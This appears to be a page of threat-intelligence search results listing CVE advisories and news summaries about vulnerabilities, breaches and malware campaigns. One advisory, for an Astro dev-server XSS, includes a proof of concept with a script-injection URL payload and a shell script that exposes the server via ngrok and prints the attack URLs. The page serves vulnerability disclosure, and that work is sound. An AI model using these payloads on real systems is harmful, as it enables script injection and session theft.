Search: external-cap.com
107 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | Reddit InfoSec News A data leak from a Chinese technology firm has reportedly exposed details of state-linked hacking operations. The leak, surfaced via a Reddit post linking to an external news source, suggests that sensitive information about cyber espionage activities tied to a nation-state actor has been compromised. Although the breach is categorized as medium severity and no direct exploits are currently known, the exposure of operational details could enable adversaries to better understand and potentially counter these hacking campaigns. European organizations may face increased risks if targeted by these state-linked actors or if their infrastructure overlaps with the compromised information. Mitigation requires enhanced monitoring for related threat indicators, strengthening incident response capabilities, and reviewing exposure of sensitive operational data. Countries with significant technology sectors, critical infrastructure, or geopolitical interest in China are more likely to be affected. Given the medium severity, the threat poses a moderate risk primarily through intelligence exposure rather than immediate exploitation. Defenders should prioritize intelligence sharing and proactive defense measures to mitigate potential follow-on attacks. | Reddit InfoSec News | |||
| –Not rated | – | Reddit InfoSec News This entry discusses AI-powered ecommerce website builders and their potential security implications, particularly focusing on risks such as remote code execution (RCE). However, the provided information is primarily a news summary linking to an external blog without detailed technical evidence of an exploit or vulnerability. There is no indication of active exploitation or specific affected software versions. The threat is categorized as medium severity due to the theoretical risk of RCE in AI ecommerce platforms, which could impact confidentiality, integrity, and availability if exploited. European organizations using AI-based ecommerce builders should be cautious but no concrete attack vectors or patches are provided. The countries most likely affected are those with high ecommerce adoption and AI technology integration, such as Germany, the UK, France, and the Netherlands. Practical mitigation includes monitoring for updates from ecommerce platform providers, restricting code execution capabilities, and applying strict input validation. Given the lack of detailed technical data and confirmed exploits, the suggested severity is medium. | Reddit InfoSec News | |||
| Low | 2.7 | CVE-2025-64745 · Astro development server error page is vulnerable to reflected Cross-site Scripting Low2.7GCVE Database ## Summary A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. ## Details ### Vulnerability Location https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149 ### Root Cause The vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches. **Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text. ### Attack Vector When a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered. ## PoC ### Local Testing (localhost) Basic vulnerability verification in local development environment <details> <summary>Show details</summary> `astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config'; export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } }); ``` `package.json`: ```json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } } ``` Start the development server: ```bash npm install npm run dev ``` Access the following malicious URL depending on your configuration: **For `trailingSlash: 'never'`** (requires trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!--/ ``` **For `trailingSlash: 'always'`** (no trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!-- ``` When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (`alert(document.domain)`) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution </details> ### Remote Testing (ngrok) Reproduce realistic attack scenario via external malicious link <details> <summary>Show details</summary> Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`) Setup and Execution: ```bash #!/bin/bash set -e mkdir -p logs npm i npm run dev > ./logs/victim.log 2>&1 & ngrok http 3000 > ./logs/ngrok.log 2>&1 & sleep 3 NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait ``` When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always'). </details> ## Impact This only affects the **development server**. Risk depends on how and where the dev server is exposed. ### Security impact * **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser. * **Session hijacking**: Active developer sessions can be stolen if services are open in the browser. * **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies. * **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure. ### Attack scenarios * **Social engineering**: Malicious link sent to a developer triggers the XSS when opened. * **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs. * **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets. | GCVE Database | |||
| –Not rated | – | Reddit InfoSec News A data breach involving House Democrats’ Resume Bank DomeWatch has resulted in the leak of thousands of Capitol Hill job applicants' personal data. The exposed information likely includes sensitive personal details submitted during the application process for government positions. Although no active exploits are known, the breach poses risks related to identity theft, phishing, and reputational damage. The leak was reported via Reddit and covered by an external news source, indicating limited public discussion so far. European organizations are indirectly affected, mainly through potential targeting of applicants or affiliated entities. Mitigation involves enhanced data protection policies, monitoring for misuse of leaked data, and improving access controls on recruitment databases. Countries with strong ties to US government operations or with significant diplomatic presence in Washington, D. C.are more likely to be impacted. The severity is assessed as medium due to the sensitivity of the data and the potential for misuse, despite the lack of direct system compromise or active exploitation. | Reddit InfoSec News | |||
| –Not rated | – | Reddit NetSec The security paradox of local large language models (LLMs) highlights the conflicting security implications of running LLMs locally versus relying on cloud-based services. While local LLMs reduce data exposure to external servers, they introduce new risks such as local system compromise, unauthorized model manipulation, and data leakage through insecure storage or execution environments. This paradox creates a complex security landscape where organizations must balance confidentiality, integrity, and availability concerns. European organizations adopting local LLMs may face risks related to sensitive data processing on endpoint devices, increasing the attack surface. Mitigations include enforcing strict access controls, securing local environments, monitoring for anomalous model behavior, and applying cryptographic protections to stored data and models. Countries with strong AI adoption and digital transformation initiatives, such as Germany, France, and the UK, are more likely to be affected due to higher local LLM usage. Given the medium severity and absence of known exploits, the threat requires proactive but measured attention to prevent exploitation of local deployment weaknesses. | Reddit NetSec | |||
| Critical | 9.2 | EPSS 0.3% | CVE-2025-41108Ghost Robotics Vision 60 · Improper Authentication Critical9.2EPSS 0.3%CVE Database V5CVE-2025-41108 The communication protocol implemented in Ghost Robotics Vision 60 v0.27.2 could allow an attacker to send commands to the robot from an external attack station, impersonating the control station (tablet) and gaining unauthorised full control of the robot. The absence of encryption and authentication mechanisms in the communication protocol allows an attacker to capture legitimate traffic between the robot and the controller, replicate it, and send any valid command to the robot from any attacking computer or device. The communication protocol used in this interface is based on MAVLink, a widely documented protocol, which increases the likelihood of attack. There are two methods for connecting to the robot remotely: Wi-Fi and 4G/LTE. | CVE Database V5 | ||
| –Not rated | – | Reddit InfoSec News The Winos 4.0 hacking group has expanded its operations to target Japan and Malaysia using new malware variants. Although detailed technical specifics and indicators of compromise are scarce, this development signals a geographic and operational escalation of the group’s activities. The malware is reported through a Reddit InfoSec news post linking to an external security news site, but no known exploits in the wild or affected software versions have been disclosed. The threat is assessed as medium severity due to limited technical details and minimal discussion, but the expansion to new regions suggests potential for increased impact. European organizations should monitor this threat for potential spillover or targeting of supply chains connected to Japan and Malaysia. Mitigation should focus on enhanced network monitoring, threat intelligence sharing, and proactive malware detection capabilities. Countries with strong economic and technological ties to Japan and Malaysia, or with significant exposure to similar malware campaigns, are more likely to be affected. Given the lack of detailed exploitation data, the threat severity is assessed as medium, balancing the potential impact with the current limited exploitation evidence. | Reddit InfoSec News | |||
| –Not rated | – | Reddit InfoSec News LinkPro is a newly discovered Linux rootkit that leverages eBPF (extended Berkeley Packet Filter) technology to stealthily hide its presence on infected systems. It activates upon receiving specially crafted 'magic' TCP packets, allowing attackers to control compromised hosts covertly. This rootkit's use of eBPF, a legitimate kernel feature, makes detection challenging as it operates at a low level within the Linux kernel. Although no known exploits are currently reported in the wild, the rootkit's capabilities pose a significant risk to Linux-based infrastructure. European organizations relying on Linux servers, especially those exposed to external networks, could be targeted. The rootkit threatens system confidentiality, integrity, and availability by enabling persistent unauthorized access and potential data exfiltration or sabotage. Mitigation requires advanced monitoring of eBPF programs, network traffic analysis for anomalous TCP packets, and strict kernel security policies. Countries with high Linux adoption in critical sectors and strategic geopolitical relevance are more likely to be affected. Given its stealth, activation method, and potential impact, this threat is assessed as high severity. Defenders should prioritize detection and containment strategies tailored to eBPF misuse and network-based triggers. | Reddit InfoSec News | |||
| High | 7.5 | EPSS 0.4% | CVE-2025-11177External Login (WordPress plugin) · SQL Injection High7.5EPSS 0.4%CVE Database V5CVE-2025-11177 The External Login plugin for WordPress is vulnerable to SQL Injection via the 'log' parameter in all versions up to, and including, 1.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database when a PostgreSQL or MSSQL database is configured as the external authentication database. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.2% | Medium5.9EPSS 0.2%CVE Database V5CVE-2025-59154 Openfire is an XMPP server licensed under the Open Source Apache License. Openfire’s SASL EXTERNAL mechanism for client TLS authentication contains a vulnerability in how it extracts user identities from X.509 certificates. Instead of parsing the structured ASN.1 data, the code calls X509Certificate.getSubjectDN().getName() and applies a regex to look for CN=. This method produces a provider-dependent string that does not escape special characters. In SunJSSE (sun.security.x509.X500Name), for example, commas and equals signs inside attribute values are not escaped. As a result, a malicious certificate can embed CN= inside another attribute value (e.g. OU="CN=admin,"). The regex will incorrectly interpret this as a legitimate Common Name and extract admin. If SASL EXTERNAL is enabled and configured to map CNs to user accounts, this allows the attacker to impersonate another user. The fix is included in Openfire 5.0.2 and 5.1.0. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General A JavaScript-based malware campaign has been discovered affecting compromised WordPress websites. The malware injects a fullscreen iframe that loads content from suspicious external domains, aiming to force users to view unsolicited content for ad fraud, traffic generation, or social engineering. The infection was found embedded in the WordPress wp_options database table, exploiting the WPCode plugin. The malicious script uses advanced evasion techniques like anti-debugging, function hijacking, and localStorage abuse. It selectively targets Windows users on specific browsers, displaying a fake Cloudflare CAPTCHA page that prompts users to run a suspicious PowerShell command. This attack not only intrudes on user experience but also poses significant security risks, potentially leading to system compromise and damage to website reputation. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Matanbuchus 3.0, a malware loader available as Malware-as-a-Service, has evolved with significant updates. It now employs sophisticated techniques including improved communication protocols, in-memory stealth capabilities, enhanced obfuscation, and support for WQL queries, CMD, and PowerShell reverse shells. The loader collects detailed system data, including information on EDR security controls, to tailor subsequent attacks. It can execute various commands through regsvr32, rundll32, msiexec, or process hollowing. The malware establishes persistence through scheduled tasks and registry modifications. Recent campaigns have targeted victims through external Microsoft Teams calls impersonating IT helpdesks, leading to potential ransomware compromises. | AlienVault OTX General | |||
| Medium | 6.1 | EPSS 0.1% | CVE-2025-6044Google ChromeOS · Exposed Files or Directories Medium6.1EPSS 0.1%CVE Database V5CVE-2025-6044 An Improper Access Control vulnerability in the Stylus Tools component of Google ChromeOS version 16238.64.0 on the garaged stylus devices allows a physical attacker to bypass the lock screen and access user files by removing the stylus while the device is closed and using the screen capture feature. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%CVE Database V5CVE-2025-1264 The Broken Link Checker by AIOSEO – Easily Fix/Monitor Internal and External links plugin for WordPress is vulnerable to SQL Injection via the 'orderBy' parameter in all versions up to, and including, 1.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | CVE Database V5 | ||
| High | 8.4 | EPSS 0.6% | CVE-2024-34347hoppscotch · Command Injection High8.4EPSS 0.6%CVE Database V5CVE-2024-34347 @hoppscotch/cli is a CLI to run Hoppscotch Test Scripts in CI environments. Prior to 0.8.0, the @hoppscotch/js-sandbox package provides a Javascript sandbox that uses the Node.js vm module. However, the vm module is not safe for sandboxing untrusted Javascript code. This is because code inside the vm context can break out if it can get a hold of any reference to an object created outside of the vm. In the case of @hoppscotch/js-sandbox, multiple references to external objects are passed into the vm context to allow pre-request scripts interactions with environment variables and more. But this also allows the pre-request script to escape the sandbox. This vulnerability is fixed in 0.8.0. | CVE Database V5 |
Page 6 of 6